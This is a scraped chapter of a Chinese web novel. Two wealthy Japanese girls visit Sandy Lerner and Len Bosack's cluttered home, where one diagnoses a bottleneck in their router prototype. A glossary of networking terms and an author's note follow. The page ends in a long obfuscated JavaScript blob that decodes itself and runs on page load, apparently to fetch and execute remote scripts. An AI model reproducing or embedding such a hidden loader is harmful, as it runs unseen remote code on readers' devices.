首页
第81章 缠绕的网线
返回
关灯 护眼:关 字号:小

第81章 缠绕的网线

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    第81章缠绕的网线(第1/2页)
    第二天清晨。
    加州的阳光依旧好得令人发指。红色的凯迪拉克敞篷车沿着101号公路一路向南,驶入了山景城(MOUntainVieW)的一片并不起眼的居民区。
    这里没有比弗利山庄那种修剪得像假发一样的草坪,也没有那种拒人千里的高耸铁门。只有一排排建于五六十年代的平房,外墙的涂料有些剥落,每家每户的门口都停着积满灰尘的旅行车或者是皮卡。
    车子在一栋米黄色的平房前停下。
    地址是:2400CharleStOnROad。
    “就是这里?”
    艾米手里捏着那张写有地址的便签纸,反复核对了三遍门牌号。
    “西园寺同学,我们会不会找错地方了?这看起来……就像是个普通的民宅。”
    而且还是那种不太收拾屋子的民宅。院子里的草长得也没人修剪,门口的信箱里塞满了还没取的报纸和广告单。
    “没错。”
    皋月推开车门,踩着七公分的高跟鞋走下车。她今天穿着一件白色无袖连衣裙,戴着宽檐帽,看起来就像是刚从《VOgUe》杂志的封面上走下来。
    “天才通常都没空剪草坪。”
    皋月走到门口,甚至没有去按门铃,而是直接抬手敲了敲那扇看起来并不怎么结实的木门。
    “咚、咚、咚。”
    没人应答。
    但隔着门板,能听到里面传出一阵激烈的争吵声。
    男人的咆哮声,女人的尖叫声,还有什么东西被摔在地上的碎裂声。
    “滚出去!告诉那些红杉资本的吸血鬼!如果他们想把我的公司卖掉,我就把服务器全部砸烂!”
    是一个女人的声音,歇斯底里,充满了愤怒。
    艾米吓得缩了缩脖子,躲在皋月身后:“我们要不……改天再来?他们好像在打架。”
    “现在正好。”
    皋月嘴角微微上扬。
    “这就是创业公司的味道。焦虑,愤怒,还有快要烧干的现金流。”
    她示意身后的藤田刚。
    藤田刚上前一步,这次没有再敲门,而是握住门把手,用力一推。
    “咔哒。”
    门没锁。
    或者说,这屋子的主人根本没心思锁门。
    门开了。
    一股奇怪的味道扑面而来。
    那是一股混合了陈旧的咖啡渣、高热电子元件散发出的臭氧味、几天没洗的衣服的酸味,以及……浓重的猫尿味。
    “咳咳……”
    艾米捂住鼻子,差点被这股味道熏了个跟头。
    她低头看了看自己身上这套价值不菲的香奈儿套装,又看了看屋里的地板——那里铺着的一层不知道是灰尘还是猫毛的东西,让她根本无处下脚。
    “你们他妈的是谁?!”
    客厅中央,一个留着金色短发、穿着大号T恤的女人猛地转过身。她手里正抓着一个像是电路板的东西,似乎正准备往墙上摔。
    桑迪·勒纳。
    而在她对面,沙发上坐着一个胡子拉碴、眼窝深陷的男人,正抱着头,一脸痛苦。
    莱恩·博萨克。
    这两人看着门口这群不速之客,愣住了。
    这画面太诡异了。
    在这个充满了垃圾、线缆和猫毛的混乱房间里,突然闯进来两个精致得像是瓷娃娃一样的亚洲少女,身后还跟着几个像是黑客帝国里走出来的彪悍保镖。
    “如果是推销员,滚出去!”桑迪吼道,“如果是红杉资本派来的律师,也滚出去!”
    “我们是迷路的游客。”
    皋月并没有被对方的气势吓到,微微一笑。她从包里掏出一块手帕,优雅地掩住口鼻,视线在房间里扫了一圈。
    “听说这里有一只很特别的……‘猫’?”
    “猫?”桑迪愣了一下,“你要领养猫?”
    还没等她反应过来,一直躲在皋月身后的艾米突然叫了一声。
    “小心!”
    艾米指着地上。
    就在皋月的脚边,一团黑乎乎的线缆像蛇一样盘踞着。那不是普通的电源线,而是如同乱麻一样纠缠在一起的各种网线、数据线,它们从客厅一直延伸到里面的卧室,甚至有些线缆的绝缘皮都磨破了,露出了里面的铜丝。
    “滋滋——”
    旁边的服务器机柜发出一阵不健康的电流声。
    “那是我们的核心资产!别踩!”那个一直抱着头的男人博萨克突然跳了起来,大喊道。
    皋月停下脚步,低头看着那堆乱麻。
    “这就是价值一亿美元的线?”
    她用日语低声说了一句,然后抬起头,看着这对夫妇。
    “我是西园寺。来自东京。”
    “我不是来买猫的,也不是来吵架的。”
    皋月示意藤田刚拿出一张名片递过去。
    “我是来给你们送‘弹药’的。”
    “弹药?”桑迪接过名片,狐疑地看着这个小女孩,“什么弹药?日元?”
    “足够的弹药,让你们可以把那些想卖掉你们公司的吸血鬼,统统赶出去。”
    皋月的话让桑迪的眼神变了。
    但博萨克显然没心思听这些商业上的废话。他焦躁地抓了抓头发,重新坐回那堆乱糟糟的服务器前,手指在键盘上飞快地敲击着。
    “不管你们是谁,别碰那边的线!该死,那个数据包又丢了!斯坦福那边的网关到底是怎么回事?!”
    他完全沉浸在自己的世界里。
    艾米站在门口,有些不知所措。这里的环境让她感到极度不适,那种混乱和肮脏简直是强迫症的地狱。
    但是,那个声音……
    “嗡——嗡——嗡——”
    几十台风扇同时高速运转的声音。硬盘读写时发出的细微咔哒声。无数电子信号在铜线中奔流的啸叫声。
    充斥着整个房间。
    对于普通人来说,这是不折不扣的噪音。
    但对于艾米来说,这是万机之神(笑)的召唤。
    她的目光越过那对争吵的夫妇,越过满地的垃圾,锁定在了角落里。
    那里有一台没有机箱盖的机器。
    它看起来很丑,像是一个被强行拼凑起来的弗兰肯斯坦怪物。各种颜色的电线裸露在外面,几块绿色的电路板插在简陋的插槽里,上面的指示灯正在疯狂地闪烁。
    红,绿,黄。
    那种闪烁的频率,没有任何规律,却又似乎蕴含着某种复杂的逻辑。
    艾米不由自主地迈开了步子。
    “艾米?”皋月叫了她一声。
    艾米没有听到。
    她像着了魔一样,避开地上的披萨盒子和空可乐罐,一步步走向那个角落。
    藤田想要上前拦住她,但皋月却摆手示意藤田不要管。
    脚下的高跟鞋踩到了地上的网线,她踉跄了一下,差点摔倒。
    “喂!小丫头!离那个远点!”博萨克头也不回地吼道,“那是原型机!很烫!”
    艾米没有停。
    她走到那台机器前。
    那是一台多协议路由器。或者说,是它的祖先。
    艾米盯着那几块密密麻麻的电路板。
    她看不懂上面的大部分芯片,那是美国最新的技术。但她看懂了结构。
    左边是连接局域网(LAN)的接口,右边是通向广域网(WAN)的接口。中间的处理器就像是一个不知疲倦的翻译官,正在把一种语言翻译成另一种语言。
    “TCP/IP……”
    艾米蹲了下来。
    她那条昂贵的香奈儿裙摆拖在了满是灰尘的地上,沾上了黑色的污渍。但她根本不在乎。
    她伸出手,指尖悬停在一块发烫的芯片上方,感受着那种温度。
    “这里……”
    艾米突然开口了。她的英语很生硬,语法也不太对,全是蹦单词。
    “这里……BOttleneCk(瓶颈)?”
    她指着电路板上的一个数据总线接口。
    正在敲键盘的博萨克手停住了。
    他转过头,有些诧异地看着这个把自己弄得脏兮兮的日本女孩。
    “你说什么?”
    “DataflOW(数据流)……”艾米努力组织着语言,她在脑海里把那些电流想象成了水流,“TOOfaSthere(这里太快),bUtSlOWthere(那里太慢)。”
    她用手比划了一个“拥堵”的手势。
    “BUffer(缓冲区)……tOOSmall(太小了)?”
    博萨克愣住了。
    他猛地站起来,几步冲到艾米身边,也不管地上的脏乱,直接跪在地上,凑近看了看艾米指的那个位置。
    那是内存控制芯片和主处理器之间的数据交换通道。
    “见鬼……”
    博萨克喃喃自语。
    (本章未完,请点击下一页继续阅读)第81章缠绕的网线(第2/2页)
    “你看得出来?你光靠看……就能看出来?”
    这是一个困扰了他一周的问题。数据包在大流量并发时总是丢失,他查了无数遍代码,却忽略了硬件上的物理瓶颈。
    “Heat(热)。”
    艾米指了指那个芯片。
    “VeryhOthere.LOgiCStUCk.(这里很烫。逻辑卡住了。)”
    她抬起头,那双藏在眼镜后面的眼睛里,闪烁着一种只有同类才能看懂的光芒。
    “Need……bypaSS?(需要旁路?)”
    她从包里掏出一支笔,在一张废纸上画了一个简单的电路草图。
    虽然只是草图,虽然画得很潦草。
    但博萨克看懂了。
    那是一个分流电容的设计,极其简单,却极其天才。
    “HOlyShit...”
    博萨克一把抓过那张纸,眼睛瞪得像铜铃。
    “桑迪!快看这个!这孩子……她在说硬件的语言!”
    桑迪·勒纳也走了过来。她看着那个蹲在地上、裙子脏了一大块、却依然专注于电路板的女孩,眼中的敌意消退了。
    取而代之的,是一种惊讶,甚至是一丝……亲切。
    这是“自己人”。
    不是那种穿着西装、只会看财务报表的投资人。而是一个懂技术、懂机器、甚至能听到电子脉搏的极客。
    “她是你的工程师?”桑迪转头问皋月。
    皋月站在不远处,即使在这个垃圾堆一样的房间里,她依然保持着绝对的优雅。
    她看着蹲在地上的艾米,嘴角勾起一抹满意的笑。
    这就是她要的效果。
    在这个技术至上的硅谷,再多的钱,有时候也不如一个“懂行”的眼神管用。
    “差不多吧。”
    皋月笑着摇了摇头。
    “你们可以这么认为。”
    皋月走过去,并没有嫌弃地上的脏乱,而是伸出手,轻轻拍了拍艾米的肩膀。
    “怎么样,艾米?这个盒子,有趣吗?”
    “有趣!”
    艾米抬起头,脸上带着兴奋的红晕,眼睛亮晶晶的。
    “西园寺同学,这个设计太天才了!他们把软件的协议写进了硬件里!就像是……就像是给电脑装了一个万能翻译机!”
    “虽然现在的做工很粗糙,电路设计也有很多冗余,但是这个思路……”
    艾米激动得有些语无伦次。
    “这个思路是活的!它能让所有的电脑都连在一起说话!”
    博萨克听着艾米的评价,脸上露出了那种遇见知音般的狂喜。他甚至想伸手去握艾米的手,但看到自己满手的油污,又缩了回去。
    “没错!就是万能翻译机!”
    博萨克兴奋地大叫。
    “那些该死的投资人根本不懂!他们只知道卖盒子!他们根本不知道这东西能改变世界!”
    他看向皋月,眼神里多了一份尊重。
    “你的这个‘眼睛’,很厉害。”
    “既然厉害,那我们可以坐下来谈谈了吗?”
    皋月指了指那张堆满了披萨盒的沙发。
    “关于怎么让这个改变世界的盒子,活下去的问题。”
    桑迪·勒纳深吸了一口气。
    她把手里的电路板放下,踢开脚边的一个空罐子,清理出一块能坐的地方。
    “坐吧。”
    桑迪看着皋月,语气虽然依旧强硬,但已经没有了那种拒人千里的火药味。
    “如果你们真的有‘弹药’,而且还懂技术……”
    “那我不介意听听,你们这群从东京来的有钱小孩,到底想干什么。”
    皋月优雅地坐下,即使是坐在满是猫毛的沙发上,她的背脊依然挺得笔直。
    而艾米,依然蹲在那台机器旁,和博萨克头碰头地研究着那个发热的芯片。
    在这个混乱的车库里,在这个即将诞生互联网巨头的原点。
    两条平行线,终于交汇了。
    一条是金钱,一条是技术。
    而将它们缠绕在一起的,正是那个蹲在地上、裙摆沾满灰尘的日本女孩。
    ......
    以下为相关知识:
    1.多协议路由器
    文中语境:艾米在角落里发现的那台“把不同网络连起来的怪东西”,被称为“万能翻译机”。
    具体含义:路由器是工作在OSI模型第三层(网络层)的硬件设备,负责在计算机网络之间转发数据包。在80年代末,网络环境极其复杂,存在多种互不兼容的私有协议(如AppleTalk,DECnet,IPX等)。思科(CiSCO)早期的核心技术壁垒就在于“多协议”支持,它能让使用不同通信语言的计算机网络实现互联互通,是互联网形成的物理基础。
    2.网关
    文中语境:博萨克抱怨“斯坦福那边的网关到底是怎么回事”。
    具体含义:网关是连接两个使用不同通信协议、数据格式或语言的网络节点。它充当网络的“大门”,负责将一种协议的数据包重新封装或转换为另一种协议,以便数据在异构网络间传输。在早期网络中,网关往往是导致数据传输故障(丢包)的关键节点。
    3.LAN(局域网)与WAN(广域网)
    文中语境:艾米观察电路板时指出“左边是连接局域网(LAN)的接口,右边是通向广域网(WAN)的接口”。
    具体含义:
    LAN:覆盖范围较小的计算机网络,通常限于家庭、办公室或建筑群内。具有高数据传输率和低延迟的特点。
    WAN:覆盖地理范围广泛的电信网络,用于连接不同的局域网。互联网本身就是世界上最大的广域网。路由器的主要功能之一就是实现LAN到WAN的互联。
    4.TCP/IP(传输控制协议/网际协议)
    文中语境:艾米蹲在机器前念出的术语,识别出这是“把软件的协议写进了硬件里”。
    具体含义:这是互联网的基础通信架构。IP负责给设备分配地址并进行路由选择;TCP负责在发送端和接收端之间建立可靠的连接,确保数据包按顺序、无差错地传输。在1988年,TCP/IP正在逐步击败其他私有协议,成为全球网络的通用标准。
    5.数据包
    文中语境:博萨克抱怨“数据包在大流量并发时总是丢失”。
    具体含义:数据包是分组交换网络中传输的最小数据单位。当信息(如邮件或文件)在网络上传输时,会被分割成若干个小的数据块(包),每个包包含源地址、目标地址和部分数据内容。如果网络拥堵或硬件处理能力不足,数据包会被丢弃,即“丢包”。
    6.数据流
    文中语境:艾米分析电路板时指出“DataflOW...TOOfaSthere”。
    具体含义:指数据在计算机系统各组件之间(如从内存到处理器,或从端口到总线)传输的路径和速率。数据流的通畅程度直接决定了系统的吞吐量。
    7.缓冲区
    文中语境:艾米指出博萨克的机器“BUffer...tOOSmall”,导致数据堵塞。
    具体含义:缓冲区是物理内存(RAM)中的一个预留区域,用于临时存储正在从一个设备传输到另一个设备的数据。在路由器中,当入站数据速率快于出站处理速率时(例如局域网高速数据涌入,而广域网出口带宽不足或处理器繁忙),数据会被暂存在缓冲区。如果缓冲区容量过小(溢出),新到达的数据包就会被直接丢弃,导致网络延迟或连接中断。
    8.瓶颈
    文中语境:艾米指出内存控制芯片和主处理器之间存在“瓶颈”。
    具体含义:指系统中限制整体性能的关键环节。在硬件电路中,通常指带宽最低、处理速度最慢或热稳定性最差的部分。文中提到数据交换通道发热,说明该处的物理设计无法承载当前的数据吞吐量,导致系统效能受限。
    9.分流电容/旁路电容
    文中语境:艾米画图建议在发热芯片处增加“Need...bypaSS?”(需要旁路?)。
    具体含义:在高速数字电路中,芯片在开关状态切换时会产生高频噪声,导致电压波动,进而引发逻辑错误或过热。旁路电容被放置在芯片电源引脚附近,用于滤除高频噪声,提供一个低阻抗的电流回路,稳定电源电压。艾米提出的方案是通过硬件电路的修正来解决由物理热效应导致的数据处理逻辑卡顿。
    接下来的几章都会有大量专业知识,所以我打算在章末像这样列出可能需要解释的相关名词。不知道各位喜欢这样的形式来科普吗?如果觉得还行的话,之后的章节我会加上这些注解;如果认为有碍观感的话,我就不加。
    不知各位意下如何?请在这里给我答复。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();